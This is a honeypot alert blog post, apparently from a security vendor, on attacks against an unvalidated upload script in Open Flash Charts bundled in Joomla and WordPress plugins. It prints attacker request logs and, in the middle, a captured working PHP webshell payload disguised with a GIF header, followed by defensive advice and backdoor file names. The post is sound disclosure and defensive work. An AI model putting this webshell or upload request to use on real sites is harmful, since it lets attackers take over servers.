[Honeypot Alert] Open Flash Charts File Upload Attacks

Our web honeypots picked up some increased scanning/exploit activity for the following file upload vulnerability in Open Flash Charts -

Screen Shot 2014-05-06 at 10.48.42 AM

The following screenshot shows the contents of the vulnerable ofc_upload_image.php file:

Open flash chart 2 php ofc library ofc_upload_image.php at master · saberma open flash chart 2

As you can see from this simple code, there is no validation of the uploaded file to ensure that it is an image. Furthermore, the page tells the attacker exactly where the uploaded file is located so that they may then access the file and execute it.

Web Honeypot Logs

Step 1: File Upload Attempts

Here are some examples from the Apache access_log file where the attackers are attempting to upload php files to the ofc_upload_image.php page:

194.254.103.7 - - [06/May/2014:00:18:50 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 362
194.254.103.7 - - [06/May/2014:00:18:50 +0900] "POST /admin//components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 368
194.254.103.7 - - [06/May/2014:00:18:52 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 288
194.254.103.7 - - [06/May/2014:00:19:19 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 288
194.254.103.7 - - [06/May/2014:00:19:21 +0900] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 1099 "-" "libwww-perl/5.836"
194.254.103.7 - - [06/May/2014:00:19:21 +0900] "POST /cgi-bin/awstats//components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 1099 "-" "libwww-perl/5.836"
117.55.227.77 - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 355 "-" "libwww-perl/6.05"
117.55.227.77 - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 370 "-" "libwww-perl/6.05"
117.55.227.77 - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_jnewsletter/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 366 "-" "libwww-perl/6.05"
117.55.227.77 - - [06/May/2014:00:47:45 +0400] "POST //administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 358 "-" "libwww-perl/6.05"
117.55.227.77 - - [06/May/2014:00:47:46 +0400] "POST //administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 352 "-" "libwww-perl/6.05"
117.55.227.77 - - [06/May/2014:00:47:46 +0400] "POST //administrator/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=wawalo.php HTTP/1.1" 404 360 "-" "libwww-perl/6.05"
213.251.189.208 - - [06/May/2014:00:58:36 +0200] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 361 "-" "libwww-perl/5.836"
213.251.189.208 - - [06/May/2014:01:03:58 +0200] "POST //components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=guys.php HTTP/1.1" 404 361 "-" "libwww-perl/5.836"
186.202.127.50 - - [06/May/2014:01:33:58 +0200] "POST //admin_area/charts/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 334 "-" "libwww-perl/6.05"
186.202.127.50 - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 385 "-" "libwww-perl/6.05"
186.202.127.50 - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 367 "-" "libwww-perl/6.05"
186.202.127.50 - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 375 "-" "libwww-perl/6.05"
186.202.127.50 - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_jnewsletter/includes/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 366 "-" "libwww-perl/6.05"
186.202.127.50 - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_joomleague/assets/classes/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 371 "-" "libwww-perl/6.05"
186.202.127.50 - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_maian15/charts/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 360 "-" "libwww-perl/6.05"
186.202.127.50 - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 373 "-" "libwww-perl/6.05"
186.202.127.50 - - [06/May/2014:01:33:58 +0200] "POST //administrator/components/com_redmystic/chart/php-ofc-library/ofc_upload_image.php?name=vito.php HTTP/1.1" 404 361 "-" "libwww-perl/6.05"

The desired filename of the uploaded file is specified in the "name" parameter. Here is an example attack from the ModSecurity audit log file where the full POST body payload is captured:

--8957ae7d-A--
[06/May/2014:03:08:38 --0500] U2iYhsCo8AoAAHdgZOAAAAAC 94.76.229.12 60586 XXX.XXX.XXX.XXX 80
--8957ae7d-B--
POST //admin_area/charts/ofc-library/ofc_upload_image.php?name=pload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: HONEYPOT_HOST
User-Agent: libwww-perl/6.04
Content-Length: 474
Content-Type: text/plain--8957ae7d-C--
GIF89a<?php echo '<b><br><br>OS:'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } else { echo '<b>Upload Fail !!!</b><br><br>'; } } ?>

As you can see from this POST body payload, the attacker is attempting to upload a very basic webshell which would allow the attacker to upload other files to the server.

Step 2: Access Uploaded Files

After attempting to upload the malicious files, the attacker's next step is to try and access the file in the tmp_upload_images directory. Here are more examples from the Apache access_log file:

186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 302
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/vito.php?rf HTTP/1.1" 404 284
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 292
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jnewsletter/includes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 283
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_jnewsletter/includes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 283
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_joomleague/assets/classes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 288
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 290
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //administrator/components/com_redmystic/chart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 278
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //openemr/library/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 264
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/woopra/inc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 263
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/woopra/inc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 263
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 275
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET //wp-content/plugins/wp-slimstat-ex/lib/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 275
186.202.127.50 - - [06/May/2014:10:29:41 +0900] "GET /wp-content/plugins/seo-watcher/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 267
186.202.127.50 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/vito.php?rf HTTP/1.1" 404 284
186.202.127.50 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_joomleague/assets/classes/tmp-upload-images/vito.php?rf HTTP/1.1" 404 288
186.202.127.50 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_maian15/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 277
186.202.127.50 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 290
186.202.127.50 - - [06/May/2014:10:29:42 +0900] "GET //administrator/components/com_redmystic/chart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 278
186.202.127.50 - - [06/May/2014:10:29:42 +0900] "GET //openemr/library/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 264
186.202.127.50 - - [06/May/2014:10:29:42 +0900] "GET /wp-content/plugins/seo-watcher/ofc/tmp-upload-images/vito.php?rf HTTP/1.1" 404 267
186.202.127.50 - - [06/May/2014:10:29:43 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 302
186.202.127.50 - - [06/May/2014:10:29:43 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/vito.php?rf HTTP/1.1" 404 292
186.202.127.50 - - [06/May/2014:10:29:43 +0900] "GET //administrator/components/com_maian15/charts/tmp-upload-images/vito.php?rf HTTP/1.1" 404 27763.143.46.178 - - [06/May/2014:19:13:57 +0900] "GET /admin//administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 367
63.143.46.178 - - [06/May/2014:19:13:57 +0900] "GET /admin//administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 381
63.143.46.178 - - [06/May/2014:19:13:58 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 369
63.143.46.178 - - [06/May/2014:19:13:58 +0900] "GET /admin//administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 385
63.143.46.178 - - [06/May/2014:19:13:58 +0900] "GET /admin//administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 375
63.143.46.178 - - [06/May/2014:19:13:58 +0900] "GET /admin//administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 373
63.143.46.178 - - [06/May/2014:19:13:59 +0900] "GET /admin//administrator/components/com_acymailing/inc/openflash/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 370
63.143.46.178 - - [06/May/2014:19:13:59 +0900] "GET /admin//administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 381
63.143.46.178 - - [06/May/2014:19:14:00 +0900] "GET /admin//administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 367
63.143.46.178 - - [06/May/2014:19:14:01 +0900] "GET /admin//administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 373
63.143.46.178 - - [06/May/2014:19:14:02 +0900] "GET /admin//administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 375
63.143.46.178 - - [06/May/2014:19:14:22 +0900] "GET //administrator/components/com_acymailing/inc/openflash/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 290
63.143.46.178 - - [06/May/2014:19:14:22 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 305
63.143.46.178 - - [06/May/2014:19:14:24 +0900] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 287
63.143.46.178 - - [06/May/2014:19:14:24 +0900] "GET //administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 301
63.143.46.178 - - [06/May/2014:19:14:24 +0900] "GET //administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 293
63.143.46.178 - - [06/May/2014:19:14:25 +0900] "GET //administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 295
63.143.46.178 - - [06/May/2014:19:14:41 +0900] "GET //administrator/components/com_acymailing/inc/openflash/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 290
63.143.46.178 - - [06/May/2014:19:14:41 +0900] "GET //administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/lobex21.php?rf HTTP/1.1" 404 305

Action Items

Patch?

Unfortunately, it seems that the developers have not released any updates to fix this vulnerability.

Virtually Patch with WAF

If you use a Web Application Firewall (WAF) such as Trustwave's WebDefend or ModSecurity, you can block these attack attempts. We have virtual patches in our commercial SpiderLabs rules feed.

Scan Your Web App

There is MetaSploit module to check for this vulnerable file:

Screen Shot 2014-05-06 at 11.46.04 AM

As with many WordPress/Joomla Plugins, 3rd party library packages such as can creep their way into your installation. Here is a listing of the Plugins being searched for (listed in descending order of attack attempts):

73 com_jnews
72 com_jnewsletter
63 com_jinc
58 com_maianmedia
57 com_civicrm
45 com_redmystic
45 com_maian15
35 com_joomleague
23 com_acymailing
14 com_jc

See this response by Piwik:

Screen Shot 2014-05-06 at 11.38.47 AM

Identify Uploaded Backdoor/Webshells

You can also scan your web site document root directory structure to look for files with the following names:

  • vito.php
  • lobex21.php
  • guys.php
  • wawalo.php
  • pload.php

If you find one of these files, you have already been compromised and should conduct a full incident response/forensic review of your system.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.